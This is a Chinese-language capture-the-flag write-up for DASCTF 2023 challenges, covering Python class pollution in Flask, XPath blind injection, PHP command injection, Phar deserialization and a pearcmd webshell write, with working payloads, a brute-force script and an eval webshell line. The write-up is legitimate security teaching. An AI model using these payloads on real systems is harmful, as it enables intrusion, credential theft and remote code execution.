DASCTF 2023 & 0X401七月暑期挑战赛

DASCTF 2023 & 0X401七月暑期挑战赛

EzFlask

考点:Python原型链污染,目录穿越,文件读取,Pin码计算

原型链污染参考链接

源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
import uuid

from flask import Flask, request, session
from secret import black_list
import json

app = Flask(__name__)
app.secret_key = str(uuid.uuid4())

def check(data):
for i in black_list:
if i in data:
return False
return True

def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

class user():
def __init__(self):
self.username = ""
self.password = ""
pass
def check(self, data):
if self.username == data['username'] and self.password == data['password']:
return True
return False

Users = []

@app.route('/register',methods=['POST'])
def register():
if request.data:
try:
if not check(request.data):
return "Register Failed"
data = json.loads(request.data)
if "username" not in data or "password" not in data:
return "Register Failed"
User = user()
merge(data, User)
Users.append(User)
except Exception:
return "Register Failed"
return "Register Success"
else:
return "Register Failed"

@app.route('/login',methods=['POST'])
def login():
if request.data:
try:
data = json.loads(request.data)
if "username" not in data or "password" not in data:
return "Login Failed"
for user in Users:
if user.check(data):
session["username"] = data["username"]
return "Login Success"
except Exception:
return "Login Failed"
return "Login Failed"

@app.route('/',methods=['GET'])
def index():
return open(__file__, "r").read() #存在任意文件读取, 这里也暗示了可以污染__file__实现任意文件读取

if __name__ == "__main__":
app.run(host="0.0.0.0", port=5010)

题目源代码,merge()函数暗示了可能存在原型链污染的漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
# 合并两个字典
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'): # 检查dst是否支持索引操作
if dst.get(k) and type(v) == dict: # 如果dst中已存在键k,并且对应的值非空且为字典类型
merge(v, dst.get(k)) # 递归地将v合并到dst[k]中
else:
dst[k] = v # 将src中的键值对直接赋值给dst
elif hasattr(dst, k) and type(v) == dict: # 检查dst是否具有名为k的属性,并且对应的值非空且为字典类型
merge(v, getattr(dst, k)) # 递归地将v合并到dst.k中
else:
setattr(dst, k, v) # 将src中的键值对作为名为k的属性添加到dst中

这个函数的功能是把src字典合并到dst字典中,如果dst列表中已经存在[k, v]键值对,则覆盖原键值对。如果dst列表中不存在[k, v]键值对,则创建新的[k, v]键值对。递归用于处理json中嵌套的对象

e.g.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
//dst
{
"Father": "Ava",
"Mother":{
"name": "Diana",
}
}
//src
{
"Father": "Ava",
"Mother":{
"name": "Diana",
"gender": "female"
}
"Son": "Acao"
}
//合并后的字典dst
{
"Father": "Ava",
"Mother":{
"name": "Diana",
"gender": "female"
}
"Son": "Acao"
}

而Python存在许多内置属性,例如__globals____class____base__等等。可以形成链子,污染无继承的类属性甚至全局变量。

以下是两种污染方法

_static_folder属性

这个属性中存放的是flask中静态目录的值,默认该值为./static,如果污染该值,则可通过/static实现目录穿越。

访问flask下的静态资源的url为http://127.0.0.1/static/test,这实际上访问了test资源并返回,如果把该属性污染为/,也就是根目录。

那么http://127.0.0.1/static/etc/passwd等同于于http://127.0.0.1/etc/passwd,因此可以访问根目录下的文件。

原型链污染出动,Post访问/register路由注册用户

1
2
3
4
5
6
7
8
9
10
11
12
//Payload unicode编码绕过,不编码绕过可能会出现register failed的错误
{
"username":"D1anash1ba",
"password":"AvaDiana",
"__init_\u005f":{
"__globals__":{
"app":{
"_static_folder":"/"
}
}
}
}

__file__属性

1
2
3
4
5
6
7
8
9
{
"username":"D1anash1ba",
"password":"AvaDiana",
"__init_\u005f":{
"__globals__":{
"__file__":"/etc/passwd"
}
}
}

__file__属性是python自带的属性,审计源码可以发现网站根目录有read()函数

解题步骤

接下来就是读取文件,进行Pin码计算。

访问/static/etc/passwd/static/sys/class/net/eth0/address/etc/machine-id/proc/self/cgroup

这里有一个小坑,想要获取文件路径,只能使用第二种污染方法,通过污染__file__使得read()函数报错,从而获取路径。或者也可以直接猜测路径,更改以下python版本号试试。

image-20230812124507932

最后计算出Pin码,进入/console,读取flag

1

非预期解

读取/proc/1/environment,发现Flag在环境变量中。很多出题者会忘记这一点。

MyPicDisk

考点:XXE盲注,命令执行 || Phar反序列化,命令执行

源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
<?php
session_start();
error_reporting(0);
class FILE{
public $filename;
public $lasttime;
public $size;
public function __construct($filename){
if (preg_match("/\//i", $filename)){
throw new Error("hacker!");
}
$num = substr_count($filename, ".");
if ($num != 1){
throw new Error("hacker!");
}
if (!is_file($filename)){
throw new Error("???");
}
$this->filename = $filename;
$this->size = filesize($filename);
$this->lasttime = filemtime($filename);
}
public function remove(){
unlink($this->filename);
}
public function show()
{
echo "Filename: ". $this->filename. " Last Modified Time: ".$this->lasttime. " Filesize: ".$this->size."<br>";
}
public function __destruct(){
system("ls -all ".$this->filename);
}
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>MyPicDisk</title>
</head>
<body>
<?php
if (!isset($_SESSION['user'])){
echo '
<form method="POST">
username:<input type="text" name="username"></p>
password:<input type="password" name="password"></p>
<input type="submit" value="登录" name="submit"></p>
</form>
';
$xml = simplexml_load_file('/tmp/secret.xml');
if($_POST['submit']){
$username=$_POST['username'];
$password=md5($_POST['password']);
$x_query="/accounts/user[username='{$username}' and password='{$password}']";
$result = $xml->xpath($x_query);
if(count($result)==0){
echo '登录失败';
}else{
$_SESSION['user'] = $username;
echo "<script>alert('登录成功!');location.href='/index.php';</script>";
}
}
}
else{
if ($_SESSION['user'] !== 'admin') {
echo "<script>alert('you are not admin!!!!!');</script>";
unset($_SESSION['user']);
echo "<script>location.href='/index.php';</script>";
}
echo "<!-- /y0u_cant_find_1t.zip -->";
if (!$_GET['file']) {
foreach (scandir(".") as $filename) {
if (preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) {
echo "<a href='index.php/?file=" . $filename . "'>" . $filename . "</a><br>";
}
}
echo '
<form action="index.php" method="post" enctype="multipart/form-data">
选择图片:<input type="file" name="file" id="">
<input type="submit" value="上传"></form>
';
if ($_FILES['file']) {
$filename = $_FILES['file']['name'];
if (!preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) {
die("hacker!");
}
if (move_uploaded_file($_FILES['file']['tmp_name'], $filename)) {
echo "<script>alert('图片上传成功!');location.href='/index.php';</script>";
} else {
die('failed');
}
}
}
else{
$filename = $_GET['file'];
if ($_GET['todo'] === "md5"){
echo md5_file($filename);
}
else {
$file = new FILE($filename);
if ($_GET['todo'] !== "remove" && $_GET['todo'] !== "show") {
echo "<img src='../" . $filename . "'><br>";
echo "<a href='../index.php/?file=" . $filename . "&&todo=remove'>remove</a><br>";
echo "<a href='../index.php/?file=" . $filename . "&&todo=show'>show</a><br>";
} else if ($_GET['todo'] === "remove") {
$file->remove();
echo "<script>alert('图片已删除!');location.href='/index.php';</script>";
} else if ($_GET['todo'] === "show") {
$file->show();
}
}
}
}
?>
</body>
</html>

解题步骤(XXE盲注)

看到输入框,先尝试admin弱口令,发现输入admin'可以继续跟进,发现/y0u_cant_find_1t.zip路由,获取源代码。

万用密码username=a' or 1 or '1&password=a

2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// XML查询数据
$xml = simplexml_load_file('/tmp/secret.xml');
if($_POST['submit']){
$username=$_POST['username'];
$password=md5($_POST['password']);
$x_query="/accounts/user[username='{$username}' and password='{$password}']";
$result = $xml->xpath($x_query);
if(count($result)==0){
echo '登录失败';
}else{
$_SESSION['user'] = $username;
echo "<script>alert('登录成功!');location.href='/index.php';</script>";
}
}

这段代码可以看到,usernamepassword都存储在/tmp/secret.xml中,因此需要使用XXE盲注获取admin的密码。只有登陆了admin的账号才可以进行文件上传。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests
import time
url = "http://419a2e70-da77-4fdf-a56c-7a4b096b8645.node4.buuoj.cn:81/index.php"
dicts = '0123456789abcdefghijklmnopqrstuvwxyz' #md5加密结果没有大写字母, 如果需要爆破路径则加上A-Z
ans = ''
#XPath的函数是从1开始计数的, 例如substring()
for i in range(1, 100):
for j in dicts:
#本题知道xml的结构, 也知道用户名是admin, 所以只需要盲注猜测密码即可。
#注意单引号的闭合,最后的查询语句如下所示
#"/accounts/user[username='<username>'or substring(/accounts/user[1]/password/text(), {}, 1)='{}' or ''='' and password='{$password}']";
payload_password = "<username>' or substring(/accounts/user[1]/password/text(), {}, 1) = '{}' or ''='".format(i, j)
data = {
"username":payload_password, #username可控
"password":"Ava",
"submit":"Diana"
}
#print(payload_password)
time.sleep(0.1) #防止请求过快
res = requests.post(url=url, data=data)
#print(res.text)
if "登录成功!" in res.text:
ans += j
print(ans)
break
if '登录失败' in res.text:
break
print(ans)
print("End!")

最后得到md5加密后的密码003d7628772d6b57fec5f30ccbc82be1,解密得到原密码15035371139

登录后就是一个网盘系统,可以上传文件,重点关注一下代码,命令拼接可以rce。

1
2
3
public function __destruct(){
system("ls -all ".$this->filename);
}

拼接命令注入,payload:;echo bHMgLwo|base64 -d|bash;123.jpg。这条payload将base64加密后的ls /交给base64 -d命令执行,解密后的结果作为输入给bash执行。注意使用;分隔不同的命令。

访问超链接即可执行命令(源代码自定义了一个FILE类,需要访问来创建这个类的实例,并在最后自动回收触发__destruct__()函数才能rce)

得到flag文件名adjaskdhnask_flag_is_here_dakjdnmsakjnfksd,修改命令再次发包。

payload:;echo Y2F0IC9hZGphc2tkaG5hc2tfZmxhZ19pc19oZXJlX2Rha2pkbm1zYWtqbmZrc2Q=|base64 -d|bash;123.jpg

解题步骤(Phar反序列化漏洞)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class FILE{
public $filename=";echo Y2F0IC9hZGphc2tkaG5hc2tfZmxhZ19pc19oZXJlX2Rha2pkbm1zYWtqbmZrc2Q=|base64 -d|bash -i>4.txt";
public $lasttime;
public $size;
public function remove(){
unlink($this->filename);
}
public function show()
{
echo "Filename: ". $this->filename. " Last Modified Time: ".$this->lasttime. " Filesize: ".$this->size."<br>";
}
}

#获取phar包 固定流程
$phar = new Phar("abc.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");

$o = new FILE();
$phar->setMetadata($o); //自定义meta-data
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

ez_cms

考点:文件包含,pearcmd写WebShell

pearcmd的利用

标准格式payload

1
?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST['cmd']);?>+/tmp/shell.php

不过并不是所有pear都在上述payload路径下,例如本题就在/usr/share

1
/admin/index.php?+config-create+/&r=../../../../../../../../../../usr/share/php/pearcmd&/<?=eval($_POST[cmd]);>+../../../../../../../../tmp/shell.php

burpsuite发包写webshell,蚁剑连接

1
http://024706da-30e8-418a-9871-0d5628438b6e.node4.buuoj.cn:81//admin/index.php?r=../../../../../../../../tmp/shell

在根目录下找到flag

ez_py

session pickle反序列化

一坨 复现不了

You need to set client_id and slot_id to show this AD unit. Please set it in _config.yml.